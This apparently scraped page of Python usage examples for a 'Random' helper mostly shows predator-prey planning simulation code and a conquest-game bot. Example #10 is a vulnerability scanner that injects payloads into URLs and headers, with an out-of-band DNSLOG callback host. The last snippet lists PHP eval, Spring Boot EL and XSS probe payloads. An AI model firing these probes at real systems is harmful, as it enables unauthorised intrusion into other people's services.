Example #1
0
    def CreateRandomOcclusions(self, value, agentCoord, goalCoord):
        allOcclusionCoords = []
        for i in range(value):
            while True:
                coord = COORD(Random(0, self.XSize), Random(0, self.YSize))
                if self.ValidOcclusion(coord, agentCoord, goalCoord,
                                       allOcclusionCoords):
                    break
            allOcclusionCoords.append(coord)

        return allOcclusionCoords
Example #2
0
    def CreateOcclusions(self, value, agentCoord, goalCoord):
        occlusionCoords = []
        if value == 0:
            return occlusionCoords

        areaSizes = []
        while True:
            limit = value
            if value > 10:
                limit = 10
            size = Random(1, limit)
            if size + np.sum(np.asarray(areaSizes)) <= value:
                areaSizes.append(size)
            if np.sum(np.asanyarray(areaSizes)) == value:
                break

        allOcclusionCoords = []
        for area in areaSizes:
            triedCoordinates = []
            while True:
                areaOcclusionCoords = []
                while True:
                    startCoord = COORD(Random(0, self.XSize),
                                       Random(0, self.YSize))
                    if self.ValidOcclusion(
                            startCoord, agentCoord, goalCoord,
                            allOcclusionCoords
                    ) and startCoord not in triedCoordinates:
                        break

                areaOcclusionCoords.append(startCoord)
                n = 0
                for i in range(area - 1):
                    if n > 100:
                        break
                    n = 0
                    while True:
                        if n > 100:
                            break
                        adjacentCell = areaOcclusionCoords[-1] + Compass[
                            Random(0, 4)]
                        if self.Inside(adjacentCell) and self.ValidOcclusion(
                                adjacentCell, agentCoord, goalCoord,
                                allOcclusionCoords):
                            areaOcclusionCoords.append(adjacentCell)
                            break
                        n += 1
                if n > 100:
                    triedCoordinates.append(startCoord)
                    continue
                allOcclusionCoords.extend(areaOcclusionCoords)
                break

        return allOcclusionCoords
Example #3
0
    def SelectRandom(self, state, history, status):
        if self.Knowledge.RolloutLevel >= MOVES.SMART:
            actions = []
            actions = self.GeneratePreferred(state, history, actions, status)
            if actions:
                return actions[Random(0, len(actions))]
        if self.Knowledge.RolloutLevel >= MOVES.LEGAL:
            actions = []
            actions = self.GenerateLegal(state, history, actions, status)
            if actions:
                return actions[Random(0, len(actions))]

        return Random(0, self.NumActions)
Example #4
0
    def MovePredator(self, state, move, previousPredatorLocation):
        numberOfMoves = 1
        randomMove = True
        believedState = self.Copy(state)

        if move:
            numberOfMoves = state.PredatorSpeedMult

        if state.PredatorBeliefState:
            try:
                believedAgentPosition = state.PredatorBeliefState[0]
                randomMove = False
            except IndexError:
                numberOfMoves = 1
                pass

            if len(state.PredatorBeliefState) > 1:
                believedAgentPosition = state.PredatorBeliefState[Random(
                    0, len(state.PredatorBeliefState))]
                numberOfMoves = 1
                randomMove = False
            believedState.AgentPos = believedAgentPosition

        for i in range(numberOfMoves):
            if Bernoulli(self.ChaseProbability) or i > 0 and not randomMove:
                believedState = self.MovePredatorAggressive(
                    believedState, previousPredatorLocation)
            else:
                believedState = self.MovePredatorRandom(believedState)

            state.PredatorPos = believedState.PredatorPos
            if state.AgentPos == state.PredatorPos:
                return state, (state.AgentPos == state.PredatorPos)

        return state, (state.AgentPos == state.PredatorPos)
    def PredatorAgentPosPropogation(self, state):
        copyState = self.Copy(state)

        N2 = 15
        N1 = 15

        allPossibleAgentNewPositions = [copyState.PredatorBeliefState[0]]
        testedAgentPositions = []
        for n1 in range(N1):
            try:
                agentPosition = copyState.PredatorBeliefState[Random(0, len(copyState.PredatorBeliefState))]
            except IndexError:
                break
            propogateState = self.Copy(copyState)
            propogateState.AgentPos = agentPosition
            if self.PredatorObservation(propogateState):
                continue
            newAgentPositions = []
            for n2 in range(N2):
                for action in range(self.NumActions):
                    newAgentPosition = self.NextPos(propogateState.AgentPos, action)
                    if self.Valid(newAgentPosition) and newAgentPosition != copyState.PredatorPos:
                        newAgentPositions.append(newAgentPosition)
            if newAgentPositions:
                allPossibleAgentNewPositions.extend(newAgentPositions)

        for agentCoord in copyState.PredatorBeliefState:
            if agentCoord not in testedAgentPositions:
                allPossibleAgentNewPositions.append(agentCoord)

        return allPossibleAgentNewPositions
Example #6
0
 def attack_transfer(self):
     '''
     Method to attack another region or transfer troops to allied regions.
     
     Currently checks whether a region has more than six troops placed to attack,
     or transfers if more than 1 unit is available.
     '''
     attack_transfers = []
     
     owned_regions = self.map.get_owned_regions(self.settings['your_bot'])
     
     for region in owned_regions:
         neighbours = list(region.neighbours)
         while len(neighbours) > 0:
             target_region = neighbours[Random.randrange(0, len(neighbours))]
             if region.owner != target_region.owner and region.troop_count > 6:
                 attack_transfers.append([region.id, target_region.id, 5])
                 region.troop_count -= 5
             elif region.owner == target_region.owner and region.troop_count > 1:
                 attack_transfers.append([region.id, target_region.id, region.troop_count - 1])
                 region.troop_count = 1
             else:
                 neighbours.remove(target_region)
     
     if len(attack_transfers) == 0:
         return 'No moves'
     
     return ', '.join(['%s attack/transfer %s %s %s' % (self.settings['your_bot'], attack_transfer[0],
         attack_transfer[1], attack_transfer[2]) for attack_transfer in attack_transfers])
Example #7
0
    def CreateRandomStartState(self):
        state = GameState()
        state = self.NewLevel(state)
        self.GetValidPredatorLocations()

        predLocation = (state.PredatorPos).Copy()
        if self.PredatorObservation(state):
            state.PredatorBeliefState = [state.AgentPos]
        else:
            allAgentLocations = [
                COORD(x, y) for x in range(self.XSize)
                for y in range(self.YSize)
            ]
            validAgentLocations = list(
                set(allAgentLocations) - set(self.Occlusions))
            invisibleAgentLocations = [
                coord for coord in validAgentLocations
                if self.Grid.VisualRay(coord, predLocation, self.Occlusions)
            ]
            state.PredatorBeliefState = invisibleAgentLocations

        agentObservation = np.zeros(self.NumActions)
        for scan in range(self.NumActions):
            agentObservation[scan] = self.MakeObservation(state, scan)
        if agentObservation.any():
            return state

        state.PredatorPos = self.StartPredatorLocations[Random(
            0, len(self.StartPredatorLocations))]
        return state
Example #8
0
 def pick_starting_region(self, options):
     '''
     Method to select our initial starting region.
     
     Currently selects a random region from the list.
     '''
     i = Random.randrange(0,len(options)-1)
     
     return options[i]
Example #9
0
 def LocalMove(self, state, history, stepObs, status):
     allPredatorLocations = [
         COORD(x, y) for x in range(self.XSize) for y in range(self.YSize)
     ]
     possiblePredatorLocations = list(
         set(allPredatorLocations) - set(self.Occlusions)
     )  #Remove occlusions from possible predator location list
     state.PredatorPos = possiblePredatorLocations[Random(
         0, len(possiblePredatorLocations))]
     #state.PredatorPos = COORD(Random(0, self.Grid.GetXSize()),
     #                          Random(0, self.Grid.GetYSize()))
     if history.Size() == 0:
         return True, state
     observation = self.MakeObservation(state, state.AgentDir)
     return history.Back().Observation == observation
Example #10
0
    def run(self):

        DNSLOG_HOST = 'dseje4.ceye.io'

        # run
        for url in self.target_urls:

            # 随机标记
            sign = Random.id_generator(size=10)

            # DNSLOG 地址
            DNSLOG_HOST = '{}.{}'.format(sign, DNSLOG_HOST)

            # 生成payload
            payloads = [payload.format(DNSLOG_HOST)
                        for payload in payloads_tpl]

            # Double Quotes
            d_quotes = [
                '"{}"'.format(payload) for payload in payloads
            ]
            payloads.extend(d_quotes)

            # 生成头部payload
            headers = {}
            for k, v in headers_tpl.iteritems():
                if k == 'Referer':
                    headers[k] = v.format(url, DNSLOG_HOST)
                    continue
                headers[k] = v.format(DNSLOG_HOST)
            
            p = Pollution(payloads)

            urls = []

            for i in p.payload_generator(url):
                urls.append(i)
                print Url.urldecode(i)

            logging.info('{0} => {1}'.format(url, sign))

            print 'Payload Number:', len(urls)

            # Start
            rs = (grequests.get(u, headers=headers, allow_redirects=False)
                  for u in urls)

            grequests.map(rs, gtimeout=BILID_REQUEST_TIMEOUT)
Example #11
0
    def GreedyUCB(self, vnode, ucb, softmax=False):
        besta = []
        bestq = -Infinity
        beta = 1.0 / 3.0

        N = vnode.Value.GetCount()
        logN = np.log(N + 1)

        qValues = []
        for action in range(self.Simulator.NumActions):
            qnode = vnode.Child(action)
            if qnode:
                q = qnode.Value.GetValue()
                n = qnode.Value.GetCount()

                if SearchParams.UseRave and qnode.AMAF.GetCount() > 0:
                    n2 = qnode.AMAF.GetCount()
                    beta = n2 / (n + n2 + SearchParams.RaveConstant * n * n2)
                    q = (1.0 - beta) * q + beta * qnode.AMAF.GetValue()

                if ucb:
                    q += self.FastUCB(N, n, logN)

                if q >= bestq:
                    if q > bestq:
                        besta = []
                    bestq = q
                    besta.append(action)

                qValues.append(q)
        assert (besta)

        if softmax:
            tempQ = []
            indices = []
            for i, qValue in enumerate(qValues):
                if qValue > -1 * LargeInteger:
                    tempQ.append(qValue)
                    indices.append(i)

            qValues = np.array(tempQ, dtype=np.float64)
            logsoftmax = qValues - np.log(
                np.sum(np.exp(qValues * beta), axis=0))
            besta = [indices[np.argmax(logsoftmax, axis=0)]]

        return besta[Random(0, len(besta))]
    def MovePredatorRandom(self, state, previousPredatorLocation):
        copyState = self.Copy(state)
        numActions = 4
        predatorPos = copyState.PredatorPos
        testedActions = []
        while True:
            action = Random(0, numActions)
            testedActions.append(action)
            newpos = self.NextPos(predatorPos, action)
            if newpos.Valid() and newpos != previousPredatorLocation:
                break
            if set(testedActions) == set(range(self.NumActions)):
                newpos = predatorPos
                break

        copyState.PredatorPos = newpos
        copyState.PredatorDir = action
        return copyState
    def MovePredatorRandom(self, state):
        copyState = self.Copy(state)
        predatorPos = copyState.PredatorPos
        testedActions = []
        while True:
            action = Random(0, 4)
            testedActions.append(action)
            newpos = self.NextPos(predatorPos, action)
            if self.Valid(newpos):
                break

            if set(testedActions) == {0, 1, 2, 3}:
                newpos = copyState.PredatorPos
                break

        copyState.PredatorPos = newpos
        copyState.PredatorDir = action
        return copyState
    def MovePredator(self, state, move, previousPredatorLocation):
        numberOfMoves = 1

        observation = self.PredatorObservation(self.Copy(state))
        try:
            believedAgentPosition = state.PredatorBeliefState[0]
        except IndexError:
            if observation:
                believedAgentPosition = (state.AgentPos).Copy()
                state.PredatorBeliefState = [(state.AgentPos).Copy()]
            else:
                allAgentLocations = [COORD(x, y) for x in range(self.XSize) for y in range(self.YSize)]
                invisibleAgentLocations = [coord for coord in allAgentLocations if
                                           self.Grid.VisualRay(coord, (state.PredatorPos).Copy(), self.Occlusions)]
                validAgentLocations = list(set(invisibleAgentLocations) - set(self.Occlusions))
                state.PredatorBeliefState = validAgentLocations

        if len(state.PredatorBeliefState) > 1:
            believedAgentPosition = state.PredatorBeliefState[Random(0, len(state.PredatorBeliefState))]
            numberOfMoves = 1

        if move:
            numberOfMoves = state.PredatorSpeedMult

        believedState = self.Copy(state)
        believedState.AgentPos = believedAgentPosition
        believedState.AgentPos = (state.AgentPos).Copy()

        for i in range(numberOfMoves):
            if Bernoulli(self.ChaseProbability) or (i > 0 and len(self.Occlusions) > 15):
                believedState = self.MovePredatorAggressive(believedState, previousPredatorLocation)
            else:
                believedState = self.MovePredatorRandom(believedState)

            state.PredatorPos = believedState.PredatorPos
            if state.AgentPos == state.PredatorPos:
                return state, (state.AgentPos == state.PredatorPos)

        return state, (state.AgentPos == state.PredatorPos)
Example #15
0
    def place_troops(self):
        '''
        Method to place our troops.
        
        Currently keeps places a maximum of two troops on random regions.
        '''
        placements = []
        region_index = 0
        troops_remaining = int(self.settings['starting_armies'])
        
        owned_regions = self.map.get_owned_regions(self.settings['your_bot'])
        duplicated_regions = owned_regions * (3 + int(troops_remaining / 2))
        shuffled_regions = Random.shuffle(duplicated_regions)
        
        while troops_remaining:

            region = shuffled_regions[region_index]
            
            if troops_remaining > 1:

                placements.append([region.id, 2])

                region.troop_count += 2
                troops_remaining -= 2
                
            else:

                 placements.append([region.id, 1])

                 region.troop_count += 1
                 troops_remaining -= 1

            region_index += 1
            
        return ', '.join(['%s place_armies %s %d' % (self.settings['your_bot'], placement[0],
            placement[1]) for placement in placements])
Example #16
0
from utils import Random, Drawer, crand

generator = Random(0, 20, generator=crand)
drawer = Drawer(
    generator,
    sliders=[
        {
            "label": "N",
            "valmin": 10,
            "valmax": 50_000,
            "valinit": 500,
            "valstep": 100,
        },
    ],
    title="Uniform distribution",
)
drawer.draw_distribution(n=500)
Example #17
0
                                numOcclusions, AgentHome, GoalPos)
                            numOcclusions += 1

                        path = GetPath(occlusions)
                        if path:
                            occlusionList[simulationInd][i] = occlusions
                            break

                    allPredatorLocations = Grid(XSize,
                                                YSize).CreatePredatorLocations(
                                                    ExperimentParams.SpawnArea,
                                                    AgentHome, GoalPos,
                                                    occlusions)

                    temp_predator = [
                        allPredatorLocations[Random(0,
                                                    len(allPredatorLocations))]
                        for p in range(ExperimentParams.NumPredators)
                    ]
                    predatorList[simulationInd][i] = temp_predator

            with open('init_vars.pkl', 'wb') as f:
                pickle.dump([occlusionList, predatorList], f)

        with open('init_vars.pkl', 'rb') as f:
            occlusionList, predatorList = pickle.load(f)

        tasks = []
        for simulationInd in range(ExperimentParams.NumRuns):
            for occlusionInd in range(len(ExperimentParams.EntropyLevels)):
                for predatorInd in range(ExperimentParams.NumPredators):
                    if visualRange:
Example #18
0
 def CreateSample(self, simulator):
     index = Random(0, len(self.Samples))
     return simulator.Copy(self.Samples[index])
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from utils import Random, Hash

phpinfo_sign = '<a href="http://www.php.net/">'
xss_payload = xss_sign = '\'";abcdefg123456'

el_sign = Random.id_generator(size=10)
el_payload = ','.join(str(ord(i)) for i in el_sign)

el_sign2 = '119841162-2'
el2_payload = el_sign2


# Command Execute Payloads
payloads = [
    {
        'name': 'PHP Code eval',
        'payload': 'phpinfo();',
        'sign': phpinfo_sign

    }, {
        'name': 'PHP Code eval',
        'payload': '${print_r(md5(11123))};',
        'sign': Hash.md5('11123')

    }, {
        'name': 'Sprint Boot EL',
        'payload': '${{new java.lang.String(new byte[]{{{0}}})}}'.format(
            el_payload),